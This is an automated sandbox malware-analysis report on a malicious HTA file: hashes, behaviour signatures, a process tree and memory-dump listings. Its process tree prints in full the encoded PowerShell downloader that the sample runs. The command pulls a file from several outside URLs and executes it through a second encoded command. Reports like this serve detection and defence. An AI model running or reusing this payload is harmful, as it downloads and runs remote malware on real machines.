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Analysis

  • max time kernel
    100s
  • max time network
    121s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/04/2023, 01:14

General

  • Target

    Ojvpuwa.hta

  • Size

    348KB

  • MD5

    e99b6cfcb794606f20ec5d1abed23906

  • SHA1

    7278ef13293d8eecfe4202362b0c3ec1ae8f8559

  • SHA256

    4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03

  • SHA512

    ef7421a36f13ce928cb5205be59db8f57061d9e9b14dabf8cd860742bbc5c141f570d807ce25d439d2f83b62a62f9f88f29733a406d1abb272006d66461b0da0

  • SSDEEP

    6144:id3ndjrklqgqr5K0NJhI101WdQyPK3LwCDkpJUbbj9KctPCltrt8gd3ndjrkW:yOauMvDyeUOW

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Ojvpuwa.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3144
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAHcAUAB3AGkAYQBKAEIALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBxAEkAVgBEAFIATgB5AEwAaABwACwAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCAGUAUABUAFcARwBPAEEALABoAHQAdABwAHMAOgAvAC8AbQByAGMAcgBpAHoAcQB1AG4AYQAuAGMAbwBtAC8ATAA3AGMAYwBOAC8AUwBEAFQAQwA2AEwAVgAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBHAEwANgBiADkAdQAwAHEARAByAE8ALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwBrAHIARQBpAGYAUQBCACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAEsAUQBNAGUAaABYAHIAdABGADcANABjACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwBQAFoASQA1AFUANABVAHoAMwBvAHoAMAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABpAG4AZgB1AG4AZQByAGEAbAAgAGkAbgAgACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGkAbgBmAHUAbgBlAHIAYQBsACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA2ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AZwBvAGQAYQBlAGQAYQBsAHkALgBtAGUAYwBoAGkAcgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAEwAbwBnAG8AZABhAGUAZABhAGwAeQAuAG0AZQBjAGgAaQByACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBCAE0AQQBHADgAQQBaAHcAQgB2AEEARwBRAEEAWQBRAEIAbABBAEcAUQBBAFkAUQBCAHMAQQBIAGsAQQBMAGcAQgB0AEEARwBVAEEAWQB3AEIAbwBBAEcAawBBAGMAZwBBAHMAQQBFADAAQQBiAHcAQgAwAEEARwBRAEEATwB3AEEAPQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2444

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5q4fqv2h.xvv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2444-152-0x0000000004920000-0x0000000004930000-memory.dmp

    Filesize

    64KB

  • memory/2444-154-0x00000000062F0000-0x000000000630A000-memory.dmp

    Filesize

    104KB

  • memory/2444-139-0x0000000004DE0000-0x0000000004E02000-memory.dmp

    Filesize

    136KB

  • memory/2444-140-0x0000000005700000-0x0000000005766000-memory.dmp

    Filesize

    408KB

  • memory/2444-137-0x0000000004F60000-0x0000000005588000-memory.dmp

    Filesize

    6.2MB

  • memory/2444-141-0x0000000005770000-0x00000000057D6000-memory.dmp

    Filesize

    408KB

  • memory/2444-138-0x0000000004920000-0x0000000004930000-memory.dmp

    Filesize

    64KB

  • memory/2444-151-0x0000000005D90000-0x0000000005DAE000-memory.dmp

    Filesize

    120KB

  • memory/2444-153-0x00000000073D0000-0x0000000007A4A000-memory.dmp

    Filesize

    6.5MB

  • memory/2444-133-0x0000000004800000-0x0000000004836000-memory.dmp

    Filesize

    216KB

  • memory/2444-155-0x0000000004920000-0x0000000004930000-memory.dmp

    Filesize

    64KB

  • memory/2444-156-0x0000000004920000-0x0000000004930000-memory.dmp

    Filesize

    64KB

  • memory/2444-157-0x0000000007B30000-0x0000000007BC6000-memory.dmp

    Filesize

    600KB

  • memory/2444-158-0x0000000007AC0000-0x0000000007AE2000-memory.dmp

    Filesize

    136KB

  • memory/2444-159-0x0000000008180000-0x0000000008724000-memory.dmp

    Filesize

    5.6MB

  • memory/2444-160-0x0000000004920000-0x0000000004930000-memory.dmp

    Filesize

    64KB